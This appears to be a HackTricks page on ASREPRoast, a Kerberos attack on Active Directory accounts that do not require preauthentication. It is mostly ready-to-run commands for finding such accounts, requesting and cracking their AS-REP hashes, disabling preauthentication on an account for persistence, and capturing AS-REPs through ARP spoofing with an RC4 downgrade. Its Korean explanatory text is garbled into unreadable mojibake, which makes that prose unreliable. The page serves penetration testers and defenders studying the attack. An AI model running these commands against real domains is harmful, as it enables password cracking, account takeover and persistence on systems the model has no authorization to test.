ASREPRoast
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
ASREPRoast
ASREPRoast๋ Kerberos ์ฌ์ ์ธ์ฆ ํ์ ์์ฑ์ด ์๋ ์ฌ์ฉ์๋ฅผ ์ ์ฉํ๋ ๋ณด์ ๊ณต๊ฒฉ์ ๋๋ค. ๋ณธ์ง์ ์ผ๋ก ์ด ์ทจ์ฝ์ ์ ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ ์์ด ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ(DC)์์ ์ฌ์ฉ์ ์ธ์ฆ์ ์์ฒญํ ์ ์๊ฒ ํฉ๋๋ค. ๊ทธ๋ฌ๋ฉด DC๋ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ์์ ํ์๋ ํค๋ก ์ํธํ๋ ๋ฉ์์ง๋ก ์๋ตํ๋ฉฐ, ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์คํ๋ผ์ธ์์ ํฌ๋ํ์ฌ ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ฐ๊ฒฌํ๋ ค๊ณ ์๋ํ ์ ์์ต๋๋ค.
์ด ๊ณต๊ฒฉ์ ์ฃผ์ ์๊ตฌ ์ฌํญ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- Kerberos ์ฌ์ ์ธ์ฆ ๋ถ์กฑ: ๋์ ์ฌ์ฉ์๋ ์ด ๋ณด์ ๊ธฐ๋ฅ์ด ํ์ฑํ๋์ด ์์ง ์์์ผ ํฉ๋๋ค.
- ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ(DC)์์ ์ฐ๊ฒฐ: ๊ณต๊ฒฉ์๋ ์์ฒญ์ ๋ณด๋ด๊ณ ์ํธํ๋ ๋ฉ์์ง๋ฅผ ๋ฐ๊ธฐ ์ํด DC์ ์ ๊ทผํด์ผ ํฉ๋๋ค.
- ์ ํ์ ๋๋ฉ์ธ ๊ณ์ : ๋๋ฉ์ธ ๊ณ์ ์ ๋ณด์ ํ๋ฉด ๊ณต๊ฒฉ์๊ฐ LDAP ์ฟผ๋ฆฌ๋ฅผ ํตํด ์ทจ์ฝํ ์ฌ์ฉ์๋ฅผ ๋ ํจ์จ์ ์ผ๋ก ์๋ณํ ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ณ์ ์ด ์์ผ๋ฉด ๊ณต๊ฒฉ์๋ ์ฌ์ฉ์ ์ด๋ฆ์ ์ถ์ธกํด์ผ ํฉ๋๋ค.
์ทจ์ฝํ ์ฌ์ฉ์ ์ด๊ฑฐํ๊ธฐ (๋๋ฉ์ธ ์๊ฒฉ ์ฆ๋ช ํ์)
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
AS_REP ๋ฉ์์ง ์์ฒญ
#Try all the usernames in usernames.txt
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
#Use domain creds to extract targets and target them
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
Warning
AS-REP Roasting with Rubeus๋ 0x17์ ์ํธํ ์ ํ๊ณผ 0์ ์ฌ์ ์ธ์ฆ ์ ํ์ ๊ฐ์ง 4768์ ์์ฑํฉ๋๋ค.
ํฌ๋ํน
john --wordlist=passwords_kerb.txt hashes.asreproast
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
Persistence
์ฌ์ฉ์์๊ฒ GenericAll ๊ถํ(๋๋ ์์ฑ ์ฐ๊ธฐ ๊ถํ)์ด ์๋ ๊ฒฝ์ฐ preauth๊ฐ ํ์ํ์ง ์๋๋ก ๊ฐ์ ํฉ๋๋ค:
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac -f DONT_REQ_PREAUTH 'target_user'
ASREProast without credentials
๊ณต๊ฒฉ์๋ ์ค๊ฐ์ ๊ณต๊ฒฉ ์์น๋ฅผ ์ฌ์ฉํ์ฌ AS-REP ํจํท์ ์บก์ฒํ ์ ์์ผ๋ฉฐ, ์ด๋ Kerberos ์ฌ์ ์ธ์ฆ์ด ๋นํ์ฑํ๋๋ ๊ฒ์ ์์กดํ์ง ์๊ณ ๋คํธ์ํฌ๋ฅผ ํต๊ณผํฉ๋๋ค. ๋ฐ๋ผ์ VLAN์ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ์๋ํฉ๋๋ค.
ASRepCatcher ๋ฅผ ์ฌ์ฉํ๋ฉด ๊ฐ๋ฅํฉ๋๋ค. ๋ํ, ์ด ๋๊ตฌ๋ Kerberos ํ์์ ๋ณ๊ฒฝํ์ฌ ํด๋ผ์ด์ธํธ ์ํฌ์คํ
์ด์
์ด RC4๋ฅผ ์ฌ์ฉํ๋๋ก ๊ฐ์ ํฉ๋๋ค.
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
ASRepCatcher relay -dc $DC_IP
# Disabling ARP spoofing, the mitm position must be obtained differently
ASRepCatcher relay -dc $DC_IP --disable-spoofing
# Passive listening of AS-REP packets, no packet alteration
ASRepCatcher listen
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


